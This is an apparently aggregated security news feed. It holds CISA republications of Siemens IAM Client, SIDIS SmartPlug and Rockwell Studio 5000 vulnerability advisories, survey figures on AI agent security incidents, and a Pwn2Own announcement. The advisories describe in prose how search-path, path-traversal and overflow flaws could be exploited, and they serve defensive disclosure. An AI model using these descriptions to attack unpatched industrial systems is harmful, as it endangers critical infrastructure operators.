Amatriain's toll gates are a bet that governance calibrated to risk can stay ahead of that feedback loop. VentureBeat’s separate June Pulse survey on agent security, drawn from 107 enterprises, shows how thin that margin is. More than half, 54 percent, have already had an agent security incident or near-miss. Fifty-nine percent plan to adopt, add, or replace agent security tooling within 12 months, and 29% plan to move this quarter. Incident rates climb with organization size, reaching 63% among enterprises with more than 1,000 employees versus 49% for companies with 101 to 1,000. And sandbox isolation, the one post-breach control that limits damage, drops from 35% adoption at the smaller companies to just 20 percent at the largest.
Amatriain warned that threats will increasingly come from other AI systems. “You’re gonna get threats coming not only from humans but also from other external agentic systems that are really powerful, and they’re gonna be poking at everything you’re doing. And as soon as you detect something, it’s not only about the detection, but the time to fix becomes essential here.”


Airtel unlimited 5G hotspot not working on PC
Tue, 21 Jul 2026 19:53:35 +0200
A Mobile Hotspot allows you to share your mobile phone’s internet connection with your Windows PC and other devices. Simply turn on your phone’s Mobile Hotspot, then search for your phone’s WiFi network on your Windows 11 PC and connect to it. Many users who do not have a broadband internet connection use mobile data […]
This article Airtel unlimited 5G hotspot not working on PC first appeared on TheWindowsClub.com.


CVE-2026-20772 | Intel Connectivity Performance Suite software installers uncontrolled search path (intel-sa-01429)
Tue, 21 Jul 2026 19:48:13 +0200
A vulnerability, which was classified as problematic, was found in Intel Connectivity Performance Suite software installers 2.0/40.24.11210. The impacted element is an unknown function. Executing a manipulation can lead to uncontrolled search path.

This vulnerability is handled as CVE-2026-20772. It is possible to launch the attack on the local host. There is not any exploit available.

You should upgrade the affected component.


Siemens IAM Client
Tue, 21 Jul 2026 19:45:29 +0200
View CSAF
Summary
Multiple Siemens products are affected by unquoted search path vulnerability in IAM Client. This could allow an authenticated local attacker to perform privilege escalation. Siemens has released new versions for several affected products and recommends to update to the latest versions. Siemens is preparing further fix versions and recommends countermeasures for products where fixes are not, or not yet available.
The following versions of Siemens IAM Client are affected:

COMOS V10.4.5 vers:intdot/<10.4.5.0.2 
COMOS V10.6 vers:intdot/<10.6.1 
Designcenter NX vers:intdot/<2512.7000 
Simcenter 3D vers:intdot/<2512.7000 
Simcenter Femap V2506 vers:intdot/<2506.0003 
Simcenter Femap V2512 vers:intdot/<2512.0002 
Simcenter Nastran vers:intdot/<2606 
Simcenter STAR-CCM+ vers:intdot/<2606 
Solid Edge SE2025 vers:intdot/<225.0.13.3 
Solid Edge SE2026 vers:intdot/<226.0.04.003 
Teamcenter Visualization V2412 vers:intdot/<2412.0012 
Teamcenter Visualization V2506 vers:intdot/<2506.0009 
Teamcenter Visualization V2512 vers:intdot/<2512.2605 
Tecnomatix Plant Simulation V2404 vers:intdot/<2404.0022 
Tecnomatix Plant Simulation V2504 vers:intdot/<2504.0010 
Tecnomatix Process Simulate vers:intdot/<2606 





CVSS
Vendor
Equipment
Vulnerabilities




v3 6.7
Siemens
Siemens IAM Client
Untrusted Search Path




Background

Critical Infrastructure Sectors: Chemical, Critical Manufacturing, Energy
Countries/Areas Deployed: Worldwide
Company Headquarters Location: Germany


Vulnerabilities

Expand All +

CVE-2025-40945

Untrusted search path in IAM Client SDK may allow an authenticated user to potentially enable escalation of privilege via local access.
View CVE Details

Affected Products
Siemens IAM Client

Vendor:
Siemens
Product Version:
COMOS V10.4.5 < V10.4.5.0.2, COMOS V10.6 < V10.6.1, Designcenter NX < V2512.7000, Simcenter 3D < V2512.7000, Simcenter Femap V2506 < V2506.0003, Simcenter Femap V2512 < V2512.0002, Simcenter Nastran < V2606, Simcenter STAR-CCM+ < V2606, Solid Edge SE2025 < V225.0.13.3, Solid Edge SE2026 < V226.0.04.003, Teamcenter Visualization V2412 < V2412.0012, Teamcenter Visualization V2506 < V2506.0009, Teamcenter Visualization V2512 < V2512.2605, Tecnomatix Plant Simulation V2404 < V2404.0022, Tecnomatix Plant Simulation V2504 < V2504.0010, Tecnomatix Process Simulate < V2606
Product Status:
known_affected


Remediations
Vendor fix
Update to V10.6.1 or later version
https://support.sw.siemens.com/product/222981661/
Vendor fix
Update to V225.0 Update 13 or later version
https://support.sw.siemens.com/product/246738425/
Vendor fix
Update to V226.0 Update 04 or later version
https://support.sw.siemens.com/product/246738425/
Vendor fix
Update to V2404.0022 or later version
https://support.sw.siemens.com/product/297028302/
Vendor fix
Update to V2412.0012 or later version
https://support.sw.siemens.com/product/229029598/
Vendor fix
Update to V2504.0010 or later version
https://support.sw.siemens.com/product/297028302/
Vendor fix
Update to V2506.0003 or later version
https://support.sw.siemens.com/product/275652363/
Vendor fix
Update to V2506.0009 or later version
https://support.sw.siemens.com/product/229029598/
Vendor fix
Update to V2512.0002 or later version
https://support.sw.siemens.com/product/275652363/
Vendor fix
Update to V2512.2605 or later version
https://support.sw.siemens.com/product/229029598/
Vendor fix
Update to V2512.7000 or later version
https://support.sw.siemens.com/product/209349590/
Vendor fix
Update to V2512.7000 or later version
https://support.sw.siemens.com/product/289054037/
Vendor fix
Update to V2606 or later version
https://support.sw.siemens.com/product/289054037/
Vendor fix
Update to V10.4.5.0.2 or later version. Contact customer support to receive patch and update information

Relevant CWE: CWE-426 Untrusted Search Path

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
6.7
MEDIUM
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H








Acknowledgments

Siemens ProductCERT reported this vulnerability to CISA.


General Recommendations
As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity

Additional Resources
For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories

Terms of Use
The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.

Legal Notice and Terms of Use
This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

Recommended Practices
CISA recommends users take defensive measures to minimize the exploitation risk of these vulnerabilities.
Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.
Locate control system networks and remote devices behind firewalls and isolate them from business networks.
When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.
CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.
CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.
CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.
Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

Advisory Conversion Disclaimer
This ICSA is a verbatim republication of Siemens ProductCERT SSA-288252 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.
Revision History

Initial Release Date: 2026-07-14




Date
Revision
Summary




2026-07-14
1
Publication Date


2026-07-21
2
Initial CISA Republication of Siemens ProductCERT SSA-288252 advisory




Legal Notice and Terms of Use


Siemens SIDIS Secured SmartPlug
Tue, 21 Jul 2026 19:45:23 +0200
View CSAF
Summary
SIDIS Secured SmartPlug before V7.26.0310 is affected by multiple vulnerabilities in the components OpenSSL, OpenSSH, and several other packages as described below. Siemens has released a new version of SIDIS Secured SmartPlug and recommends to update to the latest version.
The following versions of Siemens SIDIS Secured SmartPlug are affected:

SIDIS Secured SmartPlug vers:intdot/<7.26.0310 





CVSS
Vendor
Equipment
Vulnerabilities




v3 9.8
Siemens
Siemens SIDIS Secured SmartPlug
Improper Enforcement of Message Integrity During Transmission in a Communication Channel, Reusing a Nonce, Key Pair in Encryption, Out-of-bounds Write, Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'), Integer Overflow or Wraparound, Out-of-bounds Read, Covert Timing Channel, Detection of Error Condition Without Action, Incorrect Authorization




Background

Critical Infrastructure Sectors: Critical Manufacturing
Countries/Areas Deployed: Worldwide
Company Headquarters Location: Germany


Vulnerabilities

Expand All +

CVE-2022-23303

The implementations of SAE in hostapd before 2.10 and wpa_supplicant before 2.10 are vulnerable to side channel attacks as a result of cache access patterns. NOTE: this issue exists because of an incomplete fix for CVE-2019-9494.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-924 Improper Enforcement of Message Integrity During Transmission in a Communication Channel

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
9.8
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H







CVE-2022-23304

The implementations of EAP-pwd in hostapd before 2.10 and wpa_supplicant before 2.10 are vulnerable to side-channel attacks as a result of cache access patterns. NOTE: this issue exists because of an incomplete fix for CVE-2019-9495.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-924 Improper Enforcement of Message Integrity During Transmission in a Communication Channel

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
7
HIGH
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H







CVE-2022-37660

In hostapd 2.10 and earlier, the PKEX code remains active even after a successful PKEX association. An attacker that successfully bootstrapped public keys with another entity using PKEX in the past, will be able to subvert a future bootstrapping by passively observing public keys, re-using the encrypting element Qi and subtracting it from the captured message M (X = M - Qi). This will result in the public ephemeral key X; the only element required to subvert the PKEX association.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-323 Reusing a Nonce, Key Pair in Encryption

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
6.5
MEDIUM
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N







CVE-2022-48174

There is a stack overflow vulnerability in ash.c:6030 in busybox before 1.35. In the environment of Internet of Vehicles, this vulnerability can be executed from command to arbitrary code execution.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-787 Out-of-bounds Write

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
7.8
HIGH
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H







CVE-2025-5222

A stack buffer overflow was found in Internationl components for unicode (ICU ). While running the genrb binary, the 'subtag' struct overflowed at the SRBRoot::addTag function. This issue may lead to memory corruption and local arbitrary code execution.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
7
HIGH
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H







CVE-2025-5914

A vulnerability has been identified in the libarchive library, specifically within the archive_read_format_rar_seek_data() function. This flaw involves an integer overflow that can ultimately lead to a double-free condition. Exploiting a double-free vulnerability can result in memory corruption, enabling an attacker to execute arbitrary code or cause a denial-of-service condition.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-190 Integer Overflow or Wraparound

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
7.8
HIGH
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H







CVE-2025-9230

Issue summary: An application trying to decrypt CMS messages encrypted using password based encryption can trigger an out-of-bounds read and write. Impact summary: This out-of-bounds read may trigger a crash which leads to Denial of Service for an application. The out-of-bounds write can cause a memory corruption which can have various consequences including a Denial of Service or Execution of attacker-supplied code. Although the consequences of a successful exploit of this vulnerability could be severe, the probability that the attacker would be able to perform it is low. Besides, password based (PWRI) encryption support in CMS messages is very rarely used. For that reason the issue was assessed as Moderate severity according to our Security Policy. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the CMS implementation is outside the OpenSSL FIPS module boundary.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-125 Out-of-bounds Read

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
7.5
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H







CVE-2025-9231

Issue summary: A timing side-channel which could potentially allow remote recovery of the private key exists in the SM2 algorithm implementation on 64 bit ARM platforms. Impact summary: A timing side-channel in SM2 signature computations on 64 bit ARM platforms could allow recovering the private key by an attacker.. While remote key recovery over a network was not attempted by the reporter, timing measurements revealed a timing signal which may allow such an attack. OpenSSL does not directly support certificates with SM2 keys in TLS, and so this CVE is not relevant in most TLS contexts. However, given that it is possible to add support for such certificates via a custom provider, coupled with the fact that in such a custom provider context the private key may be recoverable via remote timing measurements, we consider this to be a Moderate severity issue. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as SM2 is not an approved algorithm.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-385 Covert Timing Channel

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
6.5
MEDIUM
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L







CVE-2025-9232

Issue summary: An application using the OpenSSL HTTP client API functions may trigger an out-of-bounds read if the 'no_proxy' environment variable is set and the host portion of the authority component of the HTTP URL is an IPv6 address. Impact summary: An out-of-bounds read can trigger a crash which leads to Denial of Service for an application. The OpenSSL HTTP client API functions can be used directly by applications but they are also used by the OCSP client functions and CMP (Certificate Management Protocol) client implementation in OpenSSL. However the URLs used by these implementations are unlikely to be controlled by an attacker. In this vulnerable code the out of bounds read can only trigger a crash. Furthermore the vulnerability requires an attacker-controlled URL to be passed from an application to the OpenSSL function and the user has to have a 'no_proxy' environment variable set. For the aforementioned reasons the issue was assessed as Low severity. The vulnerable code was introduced in the following patch releases: 3.0.16, 3.1.8, 3.2.4, 3.3.3, 3.4.0 and 3.5.0. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the HTTP client implementation is outside the OpenSSL FIPS module boundary.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-125 Out-of-bounds Read

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
5.9
MEDIUM
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H







CVE-2025-26465

A vulnerability was found in OpenSSH when the VerifyHostKeyDNS option is enabled. A machine-in-the-middle attack can be performed by a malicious machine impersonating a legit server. This issue occurs due to how OpenSSH mishandles error codes in specific conditions when verifying the host key. For an attack to be considered successful, the attacker needs to manage to exhaust the client's memory resource first, turning the attack complexity high.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-390 Detection of Error Condition Without Action

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
6.8
MEDIUM
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N







CVE-2025-32462

Sudo before 1.9.17p1, when used with a sudoers file that specifies a host that is neither the current host nor ALL, allows listed users to execute commands on unintended machines.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-863 Incorrect Authorization

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
2.8
LOW
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N







CVE-2026-5121

A flaw was found in libarchive. On 32-bit systems, an integer overflow vulnerability exists in the zisofs block pointer allocation logic. A remote attacker can exploit this by providing a specially crafted ISO9660 image, which can lead to a heap buffer overflow. This could potentially allow for arbitrary code execution on the affected system.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-190 Integer Overflow or Wraparound

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
7.5
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N








Acknowledgments

Siemens ProductCERT reported these vulnerabilities to CISA.


General Recommendations
As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity

Additional Resources
For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories

Terms of Use
The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.

Legal Notice and Terms of Use
This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

Recommended Practices
CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.
Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.
Locate control system networks and remote devices behind firewalls and isolate them from business networks.
When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.
CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.
CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.
CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.
Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

Advisory Conversion Disclaimer
This ICSA is a verbatim republication of Siemens ProductCERT SSA-585531 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.
Revision History

Initial Release Date: 2026-07-14




Date
Revision
Summary




2026-07-14
1
Publication Date


2026-07-21
2
Initial CISA Republication of Siemens ProductCERT SSA-585531 advisory




Legal Notice and Terms of Use


Rockwell Automation Studio 5000 Logix Designer
Tue, 21 Jul 2026 19:45:22 +0200
View CSAF
Summary
Successful exploitation of these vulnerabilities could allow for a local attacker to execute arbitrary files, alter configurations, or execute arbitrary code.
The following versions of Rockwell Automation Studio 5000 Logix Designer are affected:

Studio 5000 Logix Designer V36.00 (CVE-2026-9108)
Studio 5000 Logix Designer V35.00 (CVE-2026-9108, CVE-2026-9127, CVE-2026-9128)
Studio 5000 Logix Designer V35.01 (CVE-2026-9108)
Studio 5000 Logix Designer >=V34.00|<=V34.03 (CVE-2026-9108)
Studio 5000 Logix Designer >=V33.00|<=V33.03 (CVE-2026-9108)
Studio 5000 Logix Designer >=V32.00|<=V32.04 (CVE-2026-9108, CVE-2026-9127, CVE-2026-9128)
Studio 5000 Logix Designer V34.00 (CVE-2026-9127)
Studio 5000 Logix Designer V34.01 (CVE-2026-9127)
Studio 5000 Logix Designer V33.00 (CVE-2026-9127)
Studio 5000 Logix Designer V33.02 (CVE-2026-9127)
Studio 5000 Logix Designer >=V34.00|<=V34.02 (CVE-2026-9128)
Studio 5000 Logix Designer >=V33.00|<=V33.02 (CVE-2026-9128)





CVSS
Vendor
Equipment
Vulnerabilities




v3 7.5
Rockwell Automation
Rockwell Automation Studio 5000 Logix Designer
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), Incorrect Authorization, Unquoted Search Path or Element




Background

Critical Infrastructure Sectors: Critical Manufacturing
Countries/Areas Deployed: Worldwide
Company Headquarters Location: United States


Vulnerabilities

Expand All +

CVE-2026-9108

A path traversal security issue exists within Studio 5000 Logix Designer due to improper limitation of file paths within ACD project files. The software does not sanitize or validate file names embedded in the ACD file structure during the project opening procedure, allowing path traversal sequences to escape the intended extraction directory. If exploited, an attacker could craft a malicious ACD project file that results in arbitrary files being written to attacker-controlled locations on the file system, potentially leading to code execution.
View CVE Details

Affected Products
Rockwell Automation Studio 5000 Logix Designer

Vendor:
Rockwell Automation
Product Version:
Rockwell Automation Studio 5000 Logix Designer: V36.00, Rockwell Automation Studio 5000 Logix Designer: V35.00, Rockwell Automation Studio 5000 Logix Designer: V35.01, Rockwell Automation Studio 5000 Logix Designer: >=V34.00|<=V34.03, Rockwell Automation Studio 5000 Logix Designer: >=V33.00|<=V33.03, Rockwell Automation Studio 5000 Logix Designer: >=V32.00|<=V32.04
Product Status:
known_affected


Remediations
Vendor fix
Rockwell Automation recommends users to upgrade to the following: Studio 5000 Logix Designer: V37.00, 36.01, 35.02, 34.04, 33.04, 32.05 (CVE-2026-9108)
Mitigation
Customers using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices (https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight).
https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight
Mitigation
For more information, see Rockwell Automation Security Advisories: https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html.
https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html

Relevant CWE: CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
6.7
MEDIUM
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H


4.0
5.4
MEDIUM
CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N







CVE-2026-9127

A remote code execution security issue exists within Studio 5000 Logix Designer due to incorrect authorization on a configuration file. This can allow any authenticated user to modify the paths of external tools configured within the application. If exploited, an attacker could alter the configuration to point to a malicious executable, resulting in arbitrary code execution when any user interacts with the external tools functionality.
View CVE Details

Affected Products
Rockwell Automation Studio 5000 Logix Designer

Vendor:
Rockwell Automation
Product Version:
Rockwell Automation Studio 5000 Logix Designer: V35.00, Rockwell Automation Studio 5000 Logix Designer: >=V32.00|<=V32.04, Rockwell Automation Studio 5000 Logix Designer: V34.00, Rockwell Automation Studio 5000 Logix Designer: V34.01, Rockwell Automation Studio 5000 Logix Designer: V33.00, Rockwell Automation Studio 5000 Logix Designer: V33.02
Product Status:
known_affected


Remediations
Vendor fix
Studio 5000 Logix Designer: V36.00, 35.01, 34.02, 33.02, 32.05 (CVE-2026-9127)
Mitigation
Customers using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices (https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight).
https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight
Mitigation
For more information, see Rockwell Automation Security Advisories: https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html.
https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html

Relevant CWE: CWE-863 Incorrect Authorization

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
7.5
HIGH
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H


4.0
7.3
HIGH
CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H







CVE-2026-9128

A code execution security issue exists within Studio 5000 Logix Designer due to an unquoted search path in the External Tools configuration. The executable paths specified in the external tools configuration file are not properly quoted, and because these paths contain spaces, the operating system may resolve them to unintended executables placed earlier in the search order. If exploited, an attacker could plant a malicious executable in a location within the search path, resulting in arbitrary code execution with the same permissions of the user running the application.
View CVE Details

Affected Products
Rockwell Automation Studio 5000 Logix Designer

Vendor:
Rockwell Automation
Product Version:
Rockwell Automation Studio 5000 Logix Designer: V35.00, Rockwell Automation Studio 5000 Logix Designer: >=V32.00|<=V32.04, Rockwell Automation Studio 5000 Logix Designer: >=V34.00|<=V34.02, Rockwell Automation Studio 5000 Logix Designer: >=V33.00|<=V33.02
Product Status:
known_affected


Remediations
Vendor fix
Studio 5000 Logix Designer: V36.00, 35.01, 34.03, 33.03, 32.05 (CVE-2026-9128)
Mitigation
Customers using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices (https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight).
https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight
Mitigation
For more information, see Rockwell Automation Security Advisories: https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html.
https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html

Relevant CWE: CWE-428 Unquoted Search Path or Element

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
7.5
HIGH
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H


4.0
7.3
HIGH
CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H








Acknowledgments

Rockwell Automation reported these vulnerabilities to CISA


Legal Notice and Terms of Use
This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

Recommended Practices
CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.
Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.
Locate control system networks and remote devices behind firewalls and isolating them from business networks.
When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.
CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.
CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.
CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.
Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.
Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.
CISA also recommends users take the following measures to protect themselves from social engineering attacks:
Do not click web links or open attachments in unsolicited email messages.
Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.
Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.
No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time. These vulnerabilities have a high attack complexity.

Revision History

Initial Release Date: 2026-07-21




Date
Revision
Summary




2026-07-21
1
Initial Republication of Rockwell Automation Security Advisory




Legal Notice and Terms of Use


Pwn2Own Ireland 2026 – New Targets and Categories
Tue, 21 Jul 2026 19:45:03 +0200
If you just want to read the rules, you can find them here. 
 
Pwn2Own Ireland returns for 2026, and it’s the third year for this event in the Emerald Isle. Despite the dreary Irish skies (and the threat of a random banshee), we had an amazing event, even if we did end up in a jail at the end. With that in mind, we’re excited to return to Cork this fall for yet another great Pwn2Own event. We’ll also be returning to some of the great pubs Ireland has to offer in the evenings and wrapping the event up at a special location (stay tuned for that announcement).
